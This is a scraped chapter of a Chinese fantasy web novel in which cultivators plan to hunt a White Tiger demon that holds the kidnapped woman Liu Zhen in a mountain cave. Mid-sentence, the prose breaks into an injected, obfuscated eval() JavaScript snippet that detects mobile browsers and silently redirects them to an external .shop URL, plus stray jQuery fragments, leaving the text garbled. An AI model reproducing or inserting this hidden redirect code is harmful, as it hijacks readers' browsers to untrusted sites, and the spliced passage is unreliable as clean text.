文趣网 > 其他小说 > 废柴也要去捉妖吗 > 50. 被掳走的柳蓁
    众人听罢,一时皆默然不语。

    烛火在灯盏中轻轻跳了一下,照得几人面上神色明灭不定。

    褚岁攥着茶碗的指节微微泛白,像是想说什么,又觉得说什么都轻了。

    燕栩难得没有开口,垂着眼看着自己的手指,拇指在剑鞘上来回摩挲了一遍又一遍。

    褚听澜最先开口,他望向小二:“那栖云岭,在何处?”

    小二连忙站起身来,指着窗外西南方向:“出镇往西走,约莫七八里地,便是山脚。山上原来有一条石阶路,后来封了,杂草丛生,不太好走。沿着旧路一直往上,走约莫半个时辰,便能看见那棵老槐树。”

    褚听澜顺着他的方向望了一眼窗外,夜色浓稠,什么也看不见。

    他收回目光,语气平稳:“你且莫急。明日一早,我等便上山看看。若那虎怪确在其中,定当将其拿下。”

    小二一怔,像是没料到他应得这般干脆,眼眶便热了热,声音也有些不稳:“几位客官说的是真的?”

    他搓了搓手,像是想行礼又不知该怎么行,最后只用力拱了拱手,“若诸位真能除此祸患,那便是明溪镇的大恩人了。”

    燕栩在一旁摸着腰间的玄武剑,挺了挺胸膛:“小爷我如今开了灵根,正愁没地方练手。莫说一个虎怪,来一个我杀一只,来两个我杀一双。”

    他说得豪气干云,燕观霜在旁边淡淡瞥了他一眼:“又在大放厥词了。你莫忘了,这妖兽实力一个比一个强,光是玄蛇,你我费了多少力气才堪堪制住。白虎绝非轻易就能对付的。”

    燕栩被她这么一说,嘴角的弧度便讪讪地收了些许,倒也没再逞强。

    褚岁将茶碗轻轻搁在桌上,声音比方才平和了几分:“师姐说得是。我们不能再莽撞了。且不说那白虎具体在何处,单单栖云岭的地势,我们便一无所知。

    “明日不若分头行事,先熟悉山形与路径,也好心中有个底。若是当真对上白虎,至少知道往哪个方向退、在哪处设伏最为稳妥。”

    说到此处,褚岁眸中又染上几分落寞,虽说其余几人阵法也算佼佼者,但总归是比不上云渺渺的,不知渺渺如今在家可安好。

    褚听澜看了她一眼,目光里带着几分赞许:“师妹说的在理。我与观霜擅追踪,明日先上山探一探,摸清那虎怪的踪迹与藏身之地。”

    他说到这里,忽然想起什么,目光转向小二,“你可知道,镇上有一位柳蓁娘子?”

    小二听见这个名字,面上的神色便黯了下来。

    他沉默了一瞬,像是要等那阵情绪沉一沉,才缓缓开口:“柳娘子……也是个可怜人。”

    他叹了口气,“她夫君是个读书人,姓沈,前些年过了童试,中了秀才,又正准备秋闱,想着要带上妻女一同进省城安家,也算是苦尽甘来。”

    “柳娘子心疼丈夫辛苦,想着出门替他添几件新衣,也好让他体体面面地去应试。她就在自家对面那间铺子里,想着几步路,又是白日,该是安稳的。谁曾想,这一去,便再也没回来。”

    “如今只留下沈秀才和一个三岁的女儿。”

    燕栩听罢,神色便有些讪讪的,他低头从包袱里取出那方包着灵牌的帕子,小心翼翼地打开,露出那块刻着“吾妻柳蓁”的木牌:

    “这……是我们方才在路上捡到的。那些人误将我们当成了虎大仙的侍从,连棺材都没顾上抬便跑了。”

    小二接过那灵牌,翻来覆去看了两遍,面上浮起一层复杂的神色。

    燕栩连忙解释道:“我们也觉着不好意思。明日定当亲自送还,也好向沈秀才当面说明原委,免得他心中挂念。”

    小二将灵牌递还给他:“他家就在镇东巷尾,院门口种着一棵石榴树,好认得很。明日我带几位过去便是。”

    天色渐晚,众人又商议了几句,才回厢房。

    -

    月沉星稀,栖云岭深处,一座天然形成的山洞掩在藤萝之后,洞口被密密匝匝的野葛遮了大半,若非熟悉路径之人,便是走到近前也未必能发现。

    洞内倒比外头瞧着宽敞,石壁上凿了几处浅龛,搁着油灯,火光不甚明亮,却也将洞中的陈设照出了个轮廓。

    一张石榻,榻上铺着狼皮,旁边一张石桌,桌上搁着半壶冷酒,和一只空了的粗瓷碗。

    榻上坐着一名男子。

    他身形魁梧,肩宽背厚,即便坐着也压不住那股剽悍之气。

    男子穿着一身黑白相间的衣袍,衣料粗布麻衣,却被他穿出几分不容人靠近的气势。

    面容不算俊美,棱角分明,眉骨高耸,颧骨微凸,还有些络腮胡,一双眼睛是浅褐色的。

    他手上正捏着一张薄笺,那笺纸泛着淡淡的灵光,像是被人以灵力凝成又送到此处的,边缘还在缓缓消散。

    他将那笺纸举到灯下,逐字看了一遍。

    “沧澜城修士将至明溪镇。为首者褚听澜,褚家首席弟子,观云剑在手,修为深厚。燕观霜,燕家首席弟子,同为佼佼者,另有褚岁,收服陵鱼、青鸾、玄蛇三妖,疑为神女转世。燕栩,新开灵根,剑名玄武。唐逸,丹修世家,携青莲剑灵同行。四人术法高强,切勿莽撞迎敌,若事不可为,便暂避锋芒,另择他处。”

    下方没有落款。

    那笺纸上的字迹在他看完最后一行之后,便像是被火燎过的纸,从边缘开始卷曲、剥落,化作一缕淡淡的青烟,散在了空气中,连一片残灰都没留下。

    白虎将空了的指尖收回,冷哼一声。

    那声音空旷的洞穴里带起一层低低的回响。

    他方才还在想,这几日怎么联系不上玄蛇。半年前那厮传信来,说要在京城建一个蛇类的帝国,语气里满是得意,他虽没怎么放在心上,但也想着等这边事了,去京城看看那蛇窝是什么光景。

    如今倒好,是被人给收了。

    他又想起陵鱼与青鸾。

    那两位与他并非一路,少有往来,但他也知道那两位妖性极重,有时连同类也分辨不清,见了便杀。

    他从前觉得自己与她们不同,如今更觉得不同,他不记得自己是如何被镇在沧澜深潭之下的。

    有记忆以来,便是那一方暗不见天日的潭水,与身上那层若有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761813|203990||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    若无的禁制。

    他只当自己是妖力高强,殊不知是这几只妖兽被天帝打下凡间时间有异,陵鱼排在前,所受术法最多,如此便没了神智,不辨真假。

    若非上头那位大人物,白虎是不屑杀人的,他觉这些都是小蝼蚁,麻烦。

    石榻旁边不远处的角落里,蜷缩着一个女子。

    她穿着一件浅藕色的衣裙,裙摆已经磨出了毛边,袖口沾着泥土和草屑,发髻也散了大半,几缕碎发贴在脸颊边,整个人缩在石壁的阴影里。

    她已经哭过了,泪痕还挂在脸上,却不敢再发出声响,只咬着嘴唇,努力把喉间的哽咽往下咽。

    白虎偏过头来看了她一眼,那双浅褐色的眼睛在灯影里泛着一层近似兽类的幽光,声音也沉了些:“别哭了!吵得很!”

    那女子被他一吓,整个人又往后缩了缩,后背抵住石壁,像是要把自己嵌进石头里去。

    她抬起头,嘴唇抖了几下,终于还是没忍住,声音带着浓重的哭腔:“虎爷,虎大爷,不,虎大仙……我家中还有一个三岁的幼女,我丈夫马上要秋闱了,我求您放了我吧……我求求您了……”

    她说着又要磕头,被白虎一个眼神钉在了原地。

    这女子便是柳蓁,那个消失在街对面的妇人。

    那一日她不过是出门替丈夫裁一件新衣,想着几步路的事,谁料踏出家门不到百步,便被一阵黑风卷上了山。

    她试过逃,试过趁白虎不在时沿着洞口往外跑,却在半路时被白虎截了回来。

    白虎看着她那副模样,冷冷笑了一声:“你闭嘴吧。那日若不是我一时疏忽让你逃了半日,我上头那个人也不至于把我骂得狗血淋头。”

    “因你这一桩,我挨了好一顿训。如今留着你的命,不过是还不到时候。你老实待着,我让你死的时候,还能让你痛快些。”

    柳蓁不敢再说话了。她抱着自己的膝盖,把脸埋进臂弯里,肩膀还在微微颤动。

    白虎没有再理她,只随手从石榻边的果盘里捡了几只野果,朝她扔了过去。果子滚到她的裙摆边,沾了些灰。

    他语气平淡:“别饿死。”

    柳蓁缩着肩抬起头,看了看地上那几颗沾了灰的果子,又看了看白虎:“谁知这有没有毒。”

    白虎也不恼,弯腰捡起一颗,塞进嘴里咬了一口,嚼了两下咽了:“不吃就饿死。”

    柳蓁咬了咬唇,她已经快一天没吃东西了,胃里空得发疼,那果子虽然沾了灰,却有一股清甜的香气。

    她犹豫了一下,还是捡起一颗,用袖口擦了擦,小口咬了一下。

    脆的,甜的,汁水在舌尖化开,她几乎是贪婪地把它吃完了,又拿起了第二颗。

    白虎坐在石榻上,没有再说话。

    柳蓁低头吃着果子,眼泪又落了下来,砸在衣襟上,洇成一小片深色的痕迹。

    她不过是想要给丈夫裁几件新衣,不过是最平凡的日子,为何偏偏是她?

    想着刚会唤娘亲的幼女,柳蓁几乎是含着泪将果子裹入腹中,她还不能饿死,她还要逃,逃出这吃人的地方。